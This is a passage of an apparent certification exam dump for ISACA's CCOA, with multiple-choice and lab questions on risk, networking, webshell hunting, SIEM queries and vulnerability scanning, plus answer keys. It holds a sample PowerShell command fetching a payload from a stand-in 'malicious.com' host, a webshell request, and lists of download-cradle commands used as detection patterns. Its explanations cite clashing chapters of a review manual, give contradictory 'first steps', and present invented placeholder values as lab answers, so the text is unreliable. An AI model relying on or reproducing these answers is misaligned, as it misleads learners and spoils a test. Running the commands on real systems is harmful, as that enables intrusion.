U29tZSBlbmNvZGVkIGNvbnRlbnQgd2l0aCBwb3RlbnRpYWwgbWFsd2FyZS4uLg==
* The above example appears to beBase64 encoded.
Step 3: Decode the Contents
Method 1: Using PowerShell (Windows)
* OpenPowerShell:
powershell
$encoded = Get-Content "C:\Users\<Username>\Desktop\pcap_artifact5.txt"
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
| Out-File "C:
\Users\<Username>\Desktop\pcap_artifact5_decoded.txt"
Method 2: Using Command Prompt (Windows)
* Usecertutilfor Base64 decoding:
cmd
certutil -decode pcap_artifact5.txt pcap_artifact5_decoded.txt
Method 3: Using Linux/WSL
* Use thebase64decoding command:
base64 -d ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt
* If the content isHexadecimal, use:
xxd -r -p ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt Step 4:
Verify the Decoded File
* Open the decoded file to verify its contents:
* OnWindows:
php-template
notepad C:\Users\<Username>\Desktop\pcap_artifact5_decoded.txt
* OnLinux:
cat ~/Desktop/pcap_artifact5_decoded.txt

* Check if the decoded text makes sense and is readable.
Example Decoded Output:
Some encoded content with potential malware...
Step 5: Save and Confirm
* Ensure the file is saved as:
pcap_artifact5_decoded.txt
* Located on theDesktopfor easy access.
Step 6: Analyze the Decoded Content
* Look for:
* Malware signatures
* Command and control (C2) server URLs
* Indicators of Compromise (IOCs)
Step 7: Document the Process
* Record the following:
* Original Filename:pcap_artifact5.txt
* Decoded Filename:pcap_artifact5_decoded.txt
* Decoding Method:Base64 (or identified method)
* Contents:Brief summary of findings

NEW QUESTION: 28
A small organization has identified a potential risk associated with its outdated backup system and has decided to implement a new cloud-based real-time backup system to reduce the likelihood of data loss. Which of the following risk responses has the organization chosen?
A. Risk mitigation
B. Risk avoidance
C. Risk transfer
D. Risk acceptance
Answer: (SHOW ANSWER)
The organization is implementing anew cloud-based real-time backup systemto reduce the likelihood of data loss, which is an example ofrisk mitigationbecause:
* Reducing Risk Impact:By upgrading from an outdated system, the organization minimizes the potential consequences of data loss.
* Implementing Controls:The new backup system is aproactive control measuredesigned to decrease the risk.
* Enhancing Recovery Capabilities:Real-time backups ensure that data remains intact and recoverable even in case of a failure.
Other options analysis:
* B. Risk avoidance:Involves eliminating the risk entirely, not just reducing it.
* C. Risk transfer:Typically involves shifting the risk to a third party (like insurance), not implementing technical controls.

* D. Risk acceptance:Involves acknowledging the risk without implementing changes.
CCOA Official Review Manual, 1st Edition References:
* Chapter 5: Risk Management:Clearly differentiates between mitigation, avoidance, transfer, and acceptance.
* Chapter 7: Backup and Recovery Planning:Discusses modern data protection strategies and their risk implications.

NEW QUESTION: 29
Which ofthe following is .1 PRIMARY output from the development of a cyber risk management strategy?
A. Accepted processes are Identified.
B. Business goals are communicated.
C. Compliance implementation is optimized.
D. Mitigation activities are defined.
Answer: D (LEAVE A REPLY)
Theprimary output from the development of a cyber risk management strategyis thedefinition of mitigation activitiesbecause:
* Risk Identification:After assessing risks, the strategy outlines specific actions to mitigate identified threats.
* Actionable Plans:Clearly defineshow to reduce risk exposure, including implementing controls, patching vulnerabilities, or conducting training.
* Strategic Guidance:Aligns mitigation efforts with organizational goals and risk tolerance.
* Continuous Improvement:Provides a structured approach to regularly update and enhance mitigation practices.
Other options analysis:
* A. Accepted processes are identified:Important, but the primary focus is on defining how to mitigate risks.
* B. Business goals are communicated:The strategy should align with goals, but the key output is actionable mitigation.
* C. Compliance implementation is optimized:Compliance is a factor but not the main result of risk management strategy.
CCOA Official Review Manual, 1st Edition References:
* Chapter 5: Risk Management and Mitigation:Highlights the importance of defining mitigation measures.
* Chapter 9: Strategic Cyber Risk Planning:Discusses creating a roadmap for mitigation.

NEW QUESTION: 30
The network team has provided a PCAP file withsuspicious activity located in the Investigations folderon the Desktop titled, investigation22.pcap.
What is the filename of the webshell used to control thehost 10.10.44.200? Your response must include the fileextension.

Answer:
See the solution in Explanation.
Explanation:
To identify thefilename of the webshellused to control the host10.10.44.200from the provided PCAP file, follow these detailed steps:
Step 1: Access the PCAP File
* Log into theAnalyst Desktop.
* Navigate to theInvestigationsfolder located on the desktop.
* Locate the file:
investigation22.pcap
Step 2: Open the PCAP File in Wireshark
* LaunchWiresharkon the Analyst Desktop.
* Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > investigation22.pcap
* ClickOpento load the file.
Step 3: Filter Traffic Related to the Target Host
* Apply a filter to display only the traffic involving thetarget IP address (10.10.44.200):
ini
ip.addr == 10.10.44.200
* This will show both incoming and outgoing traffic from the compromised host.
Step 4: Identify HTTP Traffic
* Since webshells typically use HTTP/S for communication, filter for HTTP requests:
http.request and ip.addr == 10.10.44.200
* Look for suspiciousPOSTorGETrequests indicating a webshell interaction.
Common Indicators:
* Unusual URLs:Containing scripts like cmd.php, shell.jsp, upload.asp, etc.
* POST Data:Indicating command execution.
* Response Status:HTTP 200 (Success) after sending commands.
Step 5: Inspect Suspicious Requests
* Right-click on a suspicious HTTP packet and select:
arduino
Follow > HTTP Stream
* Examine the HTTP conversation for:
* File uploads
* Command execution responses
* Webshell file namesin the URL.
Example:
makefile
POST /uploads/shell.jsp HTTP/1.1
Host: 10.10.44.200

User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Step 6: Correlate Observations
* If you identify a script like shell.jsp, verify it by checking multiple HTTP streams.
* Look for:
* Commands sent via the script.
* Response indicating successful execution or error.
Step 7: Extract and Confirm
* To confirm the filename, look for:
* Upload requests containing the webshell.
* Subsequent requests calling the same filename for command execution.
* Cross-reference the filename in other HTTP streams to validate its usage.
Step 8: Example Findings:
After analyzing the HTTP streams and reviewing requests to the host 10.10.44.200, you observe that the webshell file being used is:
shell.jsp
Final Answer:
shell.jsp
Step 9: Further Investigation
* Extract the Webshell:
* Right-click the related packet and choose:
mathematica
Export Objects > HTTP
* Save the file shell.jsp for further analysis.
* Analyze the Webshell:
* Open the file with a text editor to examine its functionality.
* Check for hardcoded credentials, IP addresses, or additional payloads.
Step 10: Documentation and Response
* Document Findings:
* Webshell Filename:shell.jsp
* Host Compromised:10.10.44.200
* Indicators:HTTP POST requests, suspicious file upload.
* Immediate Actions:
* Isolate the host10.10.44.200.
* Remove the webshell from the web server.
* Conduct aroot cause analysisto determine how it was uploaded.

NEW QUESTION: 31
As part of a penetration testing program, which team facilitates education and training of architects and developers to encourage better security and awareness?
A. Orange team

B. Red team
C. Green team
D. Yellow team
Answer: A (LEAVE A REPLY)
TheOrange teamplays a crucial role in theeducation and training of architects and developersto promote better security awareness.
* Focus:Bridges the gap betweenoffensive security (Red Team)anddefensive security (Blue Team)by translating security testing results into actionable insights.
* Training and Awareness:Educates developers on secure coding practices and common vulnerabilities.
* Collaboration:Works with both offensive and defensive teams to improve security measures from a development perspective.
* Outcome:Helps architects and developers integrate secure practices into thesoftware development lifecycle (SDLC).
Other options analysis:
* B. Red team:Focuses on offensive operations to find vulnerabilities.
* C. Green team:No standard role exists by this name in the typical security team taxonomy.
* D. Yellow team:Not commonly used as a formal designation.
CCOA Official Review Manual, 1st Edition References:
* Chapter 7: Red, Blue, and Orange Team Operations:Discusses the role of the Orange team in fostering secure development practices.
* Chapter 10: Secure Development Training:Highlights the importance of educating development teams.

NEW QUESTION: 32
Which of the following is a technique for detecting anomalous network behavior that evolves using large data sets and algorithms?
A. Machine learning-based analysis
B. Statistical analysis
C. Rule-based analysis
D. Signature-based analysis

Answer: A (LEAVE A REPLY)
Machine learning-based analysis is a technique that detectsanomalous network behaviorby:
* Learning Patterns:Uses algorithms to understand normal network traffic patterns.
* Anomaly Detection:Identifies deviations from established baselines, which may indicate potential threats.
* Adaptability:Continuously evolves as new data is introduced, making it more effective at detecting novel attack methods.
* Applications:Network intrusion detection systems (NIDS) and behavioral analytics platforms.
Incorrect Options:
* B. Statistical analysis:While useful, it does not evolve or adapt as machine learning does.
* C. Rule-based analysis:Uses predefined rules, not dynamic learning.
* D. Signature-based analysis:Detects known patterns rather than learning new ones.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 8, Section "Advanced Threat Detection," Subsection "Machine Learning for Anomaly Detection" - Machine learning methods are effective for identifying evolving network anomalies.

NEW QUESTION: 33
Which of the following is the GREATEST risk resulting from a Domain Name System (DNS) cache poisoning attack?
A. Reduced system availability
B. Noncompliant operations
C. Loss of network visibility
D. Loss of sensitive data
Answer: D (LEAVE A REPLY)
Thegreatest risk resulting from a DNS cache poisoning attackis theloss of sensitive data.
Here's why:
* DNS Cache Poisoning:An attacker corrupts the DNS cache to redirect users from legitimate sites to malicious ones.
* Phishing and Data Theft:Users think they are accessing legitimate websites (like banking portals) but are unknowingly entering sensitive data into fake sites.
* Man-in-the-Middle (MitM) Attacks:Attackers can intercept data traffic, capturing credentials or personal information.
* Data Exfiltration:Once credentials are stolen, attackers can access internal systems, leading to data loss.
Other options analysis:
* A. Reduced system availability:While DNS issues can cause outages, this is secondary to data theft in poisoning scenarios.
* B. Noncompliant operations:While potential, this is not the primary risk.

* C. Loss of network visibility:Unlikely since DNS poisoning primarily targets user redirection, not network visibility.
CCOA Official Review Manual, 1st Edition References:
* Chapter 4: Network Security Operations:Discusses DNS attacks and their potential consequences.
* Chapter 8: Threat Detection and Incident Response:Details how DNS poisoning can lead to data compromise.

NEW QUESTION: 34
Cyber threat intelligence is MOST important for:
A. performing root cause analysis for cyber attacks.
B. configuring SIEM systems and endpoints.
C. recommending best practices for database security.
D. revealing adversarial tactics, techniques, and procedures.
Answer: D (LEAVE A REPLY)
Cyber Threat Intelligence (CTI)is primarily focused onunderstanding the tactics, techniques, and procedures (TTPs)used by adversaries. The goal is to gain insights into:
* Attack Patterns:How cybercriminals or threat actors operate.
* Indicators of Compromise (IOCs):Data related to attacks, such as IP addresses or domain names.
* Threat Actor Profiles:Understanding motives and methods.
* Operational Threat Hunting:Using intelligence to proactively search for threats in an environment.
* Decision Support:Assisting SOC teams and management in making informed security decisions.
Other options analysis:
* A. Performing root cause analysis for cyber attacks:While CTI can inform such analysis, it is not the primary purpose.
* B. Configuring SIEM systems and endpoints:CTI cansupportconfiguration, but that is not its main function.
* C. Recommending best practices for database security:CTI is more focused on threat analysis rather than specific security configurations.
CCOA Official Review Manual, 1st Edition References:
* Chapter 6: Threat Intelligence and Analysis:Explains how CTI is used to reveal adversarial TTPs.
* Chapter 9: Threat Intelligence in Incident Response:Highlights how CTI helps identify emerging threats.

NEW QUESTION: 35
Robust background checks provide protection against:
A. distributed dental of service (DDoS) attacks.

B. insider threats.
C. phishing.
D. ransomware.
Answer: B (LEAVE A REPLY)
Robust background checks help mitigateinsider threatsby ensuring that individuals withaccess to sensitive data or critical systemsdo not have a history of risky or malicious behavior.
* Screening:Identifies red flags like past criminal activity or suspicious financial behavior.
* Trustworthiness Assessment:Ensures that employees handling sensitive information have a proven history of integrity.
* Insider Threat Mitigation:Helps reduce the risk of data theft, sabotage, or unauthorized access.
* Periodic Rechecks:Maintain ongoing security by regularly updating background checks.
Incorrect Options:
* A. DDoS attacks:Typically external; background checks do not mitigate these.
* C. Phishing:An external social engineering attack, unrelated to employee background.
* D. Ransomware:Generally spread via malicious emails or compromised systems, not insider actions.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Insider Threat Management," Subsection "Pre-Employment Screening" - Background checks are vital in identifying potential insider threats before hiring.

NEW QUESTION: 36
Which of the following Is a control message associated with the Internet Control Message Protocol (ICMP)?
A. Transport Layer Security (TLS) protocol version Is unsupported.
B. Destination is unreachable.
C. 404 is not found.
D. Webserver Is available.
Answer: (SHOW ANSWER)
TheInternet Control Message Protocol (ICMP)is used forerror reporting and diagnosticsin IP networks.
* Control Messages:ICMP messages inform the sender about network issues, such as:
* Destination Unreachable:Indicates that the packet could not reach the intended destination.
* Echo Request/Reply:Used inpingto test connectivity.
* Time Exceeded:Indicates that a packet'sTTL (Time to Live)has expired.
* Common Usage:Troubleshooting network issues (e.g.,pingandtraceroute).
Other options analysis:
* A. TLS protocol version unsupported:Related to SSL/TLS, not ICMP.

* C. 404 not found:An HTTP status code, unrelated to ICMP.
* D. Webserver is available:A general statement, not an ICMP message.
CCOA Official Review Manual, 1st Edition References:
* Chapter 4: Network Protocols and ICMP:Discusses ICMP control messages.
* Chapter 7: Network Troubleshooting Techniques:Explains ICMP's role in diagnostics.

NEW QUESTION: 37
Which of the following is the PRIMARY benefit of using software-defined networking for network security?
A. It simplifies network topology and reduces complexity.
B. It provides greater scalability and flexibility for network devices.
C. It allows for centralized security management and control.
D. It Improves security monitoring and alerting capabilities.
Answer: C (LEAVE A REPLY)
Software-Defined Networking (SDN)centralizes network control by decoupling the control plane from the data plane, enabling:
* Centralized Management:Administrators can control the entire network from a single point.
* Dynamic Policy Enforcement:Security policies can be applied uniformly across the network.
* Real-Time Adjustments:Quickly adapt to emerging threats by reconfiguring policies from the central controller.
* Enhanced Visibility:Consolidated monitoring through centralized control improves security posture.
Incorrect Options:
* A. Simplifies network topology:This is a secondary benefit, not the primary security advantage.
* B. Greater scalability and flexibility:While true, it is not directly related to security.
* D. Improves monitoring and alerting:SDN primarily focuses on control, not monitoring.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Software-Defined Networks," Subsection "Security Benefits" - SDN's centralized control model significantly enhances network security management.

NEW QUESTION: 38
When identifying vulnerabilities, which of the following should a cybersecurity analyst determine FIRST?
A. The number of vulnerabilities Identifiable by the scanning tool
B. The numberof tested asset types included in the assessment
C. The vulnerability categories possible for the tested asset types
D. The vulnerability categories Identifiable by the scanning tool
Answer: C (LEAVE A REPLY)

When identifying vulnerabilities, thefirst stepfor a cybersecurity analyst is to determine thevulnerability categories possible for the tested asset typesbecause:
* Asset-Specific Vulnerabilities:Different asset types (e.g., servers, workstations, IoT devices) are susceptible to different vulnerabilities.
* Targeted Scanning:Knowing the asset type helps in choosing the correctvulnerability scanning tools and configurations.
* Accuracy in Assessment:This ensures that the scan is tailored to the specific vulnerabilities associated with those assets.
* Efficiency:Reduces false positives and negatives by focusing on relevant vulnerability categories.
Other options analysis:
* A. Number of vulnerabilities identifiable:This is secondary; understanding relevant categories comes first.
* B. Number of tested asset types:Knowing asset types is useful, but identifying their specific vulnerabilities is more crucial.
* D. Vulnerability categories identifiable by the tool:Tool capabilities matter, but only after determining what needs to be tested.
CCOA Official Review Manual, 1st Edition References:
* Chapter 6: Vulnerability Management:Discusses the importance of asset-specific vulnerability identification.
* Chapter 8: Threat and Vulnerability Assessment:Highlights the relevance of asset categorization.

NEW QUESTION: 39
Most of the operational responsibility remains with the customerin which of the following cloudservice models?
A. Data Platform as a Service (DPaaS)
B. Software as a Service (SaaS)
C. Platform as a Service (PaaS)
D. Infrastructure as a Service (IaaS)
Answer: (SHOW ANSWER)
In theIaaS (Infrastructure as a Service)model, the majority of operational responsibilities remain with the customer.
* Customer Responsibilities:OS management, application updates, security configuration, data protection, and network controls.
* Provider Responsibilities:Hardware maintenance, virtualization, and network infrastructure.
* Flexibility:Customers have significant control over the operating environment, making them responsible for most security measures.
Incorrect Options:

* A. Data Platform as a Service (DPaaS):Managed data services where the provider handles database infrastructure.
* B. Software as a Service (SaaS):Provider manages almost all operational aspects.
* C. Platform as a Service (PaaS):Provider manages the platform; customers focus on application management.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 3, Section "Cloud Service Models," Subsection "IaaS Responsibilities" - IaaS requires customers to manage most operational aspects, unlike PaaS or SaaS.

NEW QUESTION: 40
Which of the following is the PRIMARY benefit of compiled programming languages?
A. Streamlined development
B. Fasterapplication execution
C. Flexibledeployment
D. Ability to change code in production
Answer: B (LEAVE A REPLY)
Theprimary benefit of compiled programming languages(like C, C++, and Go) isfaster execution speed because:
* Direct Machine Code:Compiled code is converted to machine language before execution, eliminating interpretation overhead.
* Optimizations:The compiler optimizes code for performance during compilation.
* Performance-Intensive Applications:Ideal for system programming, game development, and high- performance computing.
Other options analysis:
* A. Streamlined development:Compiled languages often require more code and debugging compared to interpreted languages.
* C. Flexible deployment:Interpreted languages generally offer more flexibility.
* D. Changing code in production:Typically challenging without recompilation.
CCOA Official Review Manual, 1st Edition References:
* Chapter 10: Secure Coding Practices:Discusses the benefits and challenges of compiled languages.
* Chapter 8: Software Development Lifecycle (SDLC):Highlights the performance benefits of compiled code.

NEW QUESTION: 41
Which of the following should be the ULTIMATE outcome of adopting enterprise governance of information and technology in cybersecurity?
A. Business resilience
B. Risk optimization
C. Resource optimization
D. Value creation

Answer: D (LEAVE A REPLY)
Theultimate outcome of adopting enterprise governance of information and technologyin cybersecurity is value creationbecause:
* Strategic Alignment:Ensures that cybersecurity initiatives support business objectives.
* Efficient Use of Resources:Enhances operational efficiency by integrating security practices seamlessly.
* Risk Optimization:Minimizes the risk impact on business operations while maintaining productivity.
* Business Enablement:Strengthens trust with stakeholders by demonstrating robust governance and security.
Other options analysis:
* A. Business resilience:Important, but resilience is part of value creation, not the sole outcome.
* B. Risk optimization:A component of governance but not the final goal.
* C. Resource optimization:Helps achieve value but is not the ultimate outcome.
CCOA Official Review Manual, 1st Edition References:
* Chapter 2: Cyber Governance and Strategy:Explains how value creation is the core goal of governance.
* Chapter 10: Strategic IT and Cybersecurity Alignment:Discusses balancing security with business value.

NEW QUESTION: 42
Which ofthe following BEST enables a cybersecurity analyst to influence the acceptance of effective security controls across an organization?
A. Contingency planning expertise
B. Knowledge of cybersecurity standards
C. Communication skills
D. Critical thinking
Answer: C (LEAVE A REPLY)
To effectivelyinfluence the acceptance of security controls, a cybersecurity analyst needs strong communication skills:
* Persuasion:Clearly conveying the importance of security measures to stakeholders.
* Stakeholder Engagement:Building consensus by explaining technical concepts in understandable terms.
* Education and Awareness:Encouraging best practices through effective communication.
* Bridging Gaps:Aligning security objectives with business goals through collaborative discussions.
Incorrect Options:
* A. Contingency planning expertise:Important but less relevant to influencing acceptance.
* B. Knowledge of cybersecurity standards:Essential but not enough to drive acceptance.

* D. Critical thinking:Helps analyze risks but does not directly aid in influencing organizational buy-in.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 9, Section "Influencing Security Culture," Subsection "Communication Strategies" - Effective communication is crucial for gaining organizational support for security initiatives.

NEW QUESTION: 43
Which of the following has been established when a business continuity manager explains that a critical system can be unavailable up to 4 hours before operation is significantly impaired?
A. Maximum tolerable downtime (MID)
B. Service level agreement (SLA)
C. Recovery point objective (RPO)
D. Recovery time objective (RTO)
Answer: (SHOW ANSWER)
TheRecovery Time Objective (RTO)is themaximum acceptable timethat a system can be down before significantly impacting business operations.
* Context:If thecritical system can be unavailable for up to 4 hours, the RTO is4 hours.
* Objective:To define how quickly systems must be restored after a disruption tominimize operational impact.
* Disaster Recovery Planning:RTO helps design recovery strategies and prioritize resources.
Other options analysis:
* A. Maximum tolerable downtime (MTD):Represents the absolute maximum time without operation, not the target recovery time.
* B. Service level agreement (SLA):Defines service expectations but not recovery timelines.
* C. Recovery point objective (RPO):Defines data loss tolerance, not downtime tolerance.
CCOA Official Review Manual, 1st Edition References:
* Chapter 5: Business Continuity and Disaster Recovery:Explains RTO and its role in recovery planning.
* Chapter 7: Recovery Strategy Planning:Highlights RTO as a key metric.

NEW QUESTION: 44
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?

Answer:
See the solution in Explanation.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
* Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
* Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
* Logs to investigate:
* PowerShell logs (Event ID 4104)for command execution.
* Windows Security Event Logsfor login and access attempts.
* Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
* Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
* Windows Event Logs (Sysmon/PowerShell)
* Firewall Logs
* IDS/IPS Alerts
* Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
* Time Frame Filter:
* Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
* Event ID Filter:
* Filter forEvent ID 4104(PowerShell script block logging).
* Command Pattern:
* Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
* Process Name:
* Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress Step 4: Correlate Events with Network Logs

* Once you identify PowerShell events, correlate them withnetwork traffic logs.
* Focus on:
* Source IP Address: Where the PowerShell commands originated.
* Destination IP Address: Targeted web server.
* Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="<Web_Server_IP>"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
* Investigate the nature of the commands:
* Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
* Remote Code Execution:Using IEX to run downloaded scripts.
* Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
* Identify theMAC addresscorresponding to the targeted web server.
* Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr <Web_Server_IP>
Step 7: Report the Findings
* Document the targeted server'sIP address and MAC address.
* Summarize the malicious activity:
* Commands executed
* Time and duration
* Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell
Command: Invoke-WebRequest -Uri "http://malicious.com/payload"
Step 8: Take Immediate Actions
* Isolate the affected server.
* Block external IPs involved.
* Terminate malicious PowerShell processes.
* Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
* Implement PowerShell Logging:Enable detailed script block and module logging.
* Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.

* User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

NEW QUESTION: 45
For this question you must log into GreenboneVulnerability Manager using Firefox. The URL is:https://10.
10.55.4:9392 and credentials are:
Username:admin
Password:Secure-gvm!
A colleague performed a vulnerability scan but did notreview prior to leaving for a family emergency. It hasbeen determined that a threat actor is using CVE-2021-22145 in the wild. What is the host IP of the machinethat is vulnerable to this CVE?
Answer:
See the solution in Explanation.
Explanation:
To determine the host IP of the machine vulnerable toCVE-2021-22145usingGreenbone Vulnerability Manager (GVM), follow these detailed steps:
Step 1: Access Greenbone Vulnerability Manager
* OpenFirefoxon your system.
* Go to the GVM login page:
URL: https://10.10.55.4:9392
* Enter the credentials:
Username: admin
Password: Secure-gvm!
* ClickLoginto access the dashboard.
Step 2: Navigate to Scan Reports
* Once logged in, locate the"Scans"menu on the left panel.
* Click on"Reports"under the"Scans"section to view the list of completed vulnerability scans.
Step 3: Identify the Most Recent Scan
* Check thedate and timeof the last completed scan, as your colleague likely used the latest one.
* Click on theReport NameorDateto open the detailed scan results.
Step 4: Filter for CVE-2021-22145
* In the report view, locate the"Search"or"Filter"box at the top.
* Enter the CVE identifier:
CVE-2021-22145
* PressEnterto filter the vulnerabilities.
Step 5: Analyze the Results
* The system will display any host(s) affected byCVE-2021-22145.
* The details will typically include:
* Host IP Address

* Vulnerability Name
* Severity Level
* Vulnerability Details
Example Display:
Host IP
Vulnerability ID
CVE
Severity
192.168.1.100
SomeVulnName
CVE-2021-22145
High
Step 6: Verify the Vulnerability
* Click on the host IP to see thedetailed vulnerability description.
* Check for the following:
* Exploitability: Proof that the vulnerability can be actively exploited.
* Description and Impact: Details about the vulnerability and its potential impact.
* Fixes/Recommendations: Suggested mitigations or patches.
Step 7: Note the Vulnerable Host IP
* The IP address that appears in the filtered list is thevulnerable machine.
Example Answer:
The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100 Step 8: Take Immediate Actions
* Isolate the affected machineto prevent exploitation.
* Patch or updatethe software affected by CVE-2021-22145.
* Perform a quick re-scanto ensure that the vulnerability has been mitigated.
Step 9: Generate a Report for Documentation
* Export the filtered scan results as aPDForHTMLfrom the GVM.
* Include:
* Host IP
* CVE ID
* Severity and Risk Level
* Remediation Steps
Background on CVE-2021-22145:
* This CVE is related to a vulnerability in certain software, often associated withimproper access control orauthentication bypass.
* Attackers can exploit this to gain unauthorized access or escalate privileges.

NEW QUESTION: 46
A cybersecurity analyst has been asked to review firewall configurations andrecommend which ports to deny in order to prevent users from making outbound non-encrypted

connections to the Internet. The organization is concerned that traffic through this type of port is insecure and may be used asanattack vector. Which port should the analyst recommend be denied?

A. Port 3389

B. Port 25

C. Port 443

D. Port 80

Answer: D (LEAVE A REPLY)

Toprevent users from making outbound non-encrypted connectionsto the internet, it is essential toblock Port 80, which is used forunencrypted HTTP traffic.

* Security Risk:HTTP transmits data in plaintext, making it vulnerable to interception and eavesdropping.
* Preferred Alternative:UsePort 443(HTTPS), which encrypts data via TLS.
* Mitigation:Blocking Port 80 ensures that users must use secure, encrypted connections.
* Attack Vector:Unencrypted HTTP traffic can be intercepted usingman-in-the-middle (MitM)attacks.

Incorrect Options:

* A. Port 3389:Used by RDP for remote desktop connections.
* B. Port 25:Used by SMTP for sending email, which can be encrypted using SMTPS on port 465.
* C. Port 443:Used for encrypted HTTPS traffic, which should not be blocked.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Network Security and Port Management," Subsection"Securing Outbound Connections" - Blocking Port 80 is crucial to enforce encrypted communications.

NEW QUESTION: 47

Which type of middleware is used for connecting software components thatarewritten in different programming languages?

A. Transaction processing middleware

B. Remote procedure call middleware

C. Message-oriented middleware

D. Object-oriented middleware
Answer: D (LEAVE A REPLY)
Object-oriented middlewareis used toconnect software components written in different programming languagesby:
* Language Interoperability:Enables objects created in one language to be used in another, typically throughCORBA (Common Object Request Broker Architecture)orDCOM (Distributed Component Object Model).
* Distributed Systems:Facilitates communication between objects over a network.
* Platform Independence:Abstracts the underlying communication protocols.
* Example Use Case:A Java application calling methods on a C++ object using CORBA.
Other options analysis:
* A. Transaction processing middleware:Manages distributed transactions, not language interoperability.
* B. Remote procedure call middleware:Calls functions on remote systems but does not focus on language compatibility.
* C. Message-oriented middleware:Transmits messages between applications but does not inherently bridge language gaps.
CCOA Official Review Manual, 1st Edition References:
* Chapter 9: Middleware Technologies:Discusses various types of middleware and their roles.
* Chapter 7: Distributed Computing Concepts:Explains how object-oriented middleware enhances cross-language communication.

NEW QUESTION: 48
Which of the following Is the MOST effective way to ensure an organization's management of supply chain risk remains consistent?
A. Regularly seeking feedback from the procurement team regarding supplier responsiveness
B. Periodically confirming suppliers' contractual obligations are met
C. Periodically counting the number of incident tickets associated with supplier services
D. Regularly meeting with suppliers to informally discuss Issues
Answer: (SHOW ANSWER)
To maintain consistent management ofsupply chain risk, it is essential toperiodically confirm that suppliers meet their contractual obligations.
* Risk Assurance:Verifies that suppliers adhere to security standards and commitments.
* Compliance Monitoring:Ensures that the agreed-upon controls and service levels are maintained.
* Consistency:Regular checks prevent lapses in compliance and identify potential risks early.
* Supplier Audits:Include reviewing security controls, data protection measures, and compliance with regulations.

Incorrect Options:
* A. Seeking feedback from procurement:Useful but not directly related to risk management.
* C. Counting incident tickets:Measures service performance, not risk consistency.
* D. Informal meetings:Lacks formal assessment and verification of obligations.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 9, Section "Supply Chain Risk Management," Subsection "Monitoring and Compliance" - Periodic verification of contractual compliance ensures continuous risk management.

NEW QUESTION: 49
Which of the following should occur FIRST during the vulnerability identification phase?
A. Inform relevant stakeholders that vulnerability scanning will be taking place.
B. Run vulnerability scans of all in-scope assets.
C. Determine the categories of vulnerabilities possible for the type of asset being tested.
D. Assess the risks associated with the vulnerabilities Identified.
Answer: A (LEAVE A REPLY)
During thevulnerability identification phase, thefirst stepis toinform relevant stakeholdersabout the upcoming scanning activities:
* Minimizing Disruptions:Prevents stakeholders from mistaking scanning activities for an attack.
* Change Management:Ensures that scanning aligns with operational schedules to minimize downtime.
* Stakeholder Awareness:Helps IT and security teams prepare for the scanning process and manage alerts.
* Authorization:Confirms that all involved parties are aware and have approved the scanning.
Incorrect Options:
* B. Run vulnerability scans:Should only be done after proper notification.
* C. Determine vulnerability categories:Done as part of planning, not the initial step.
* D. Assess risks of identified vulnerabilities:Occurs after the scan results are obtained.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Vulnerability Management," Subsection "Preparation and Communication" - Informing stakeholders ensures transparency and coordination.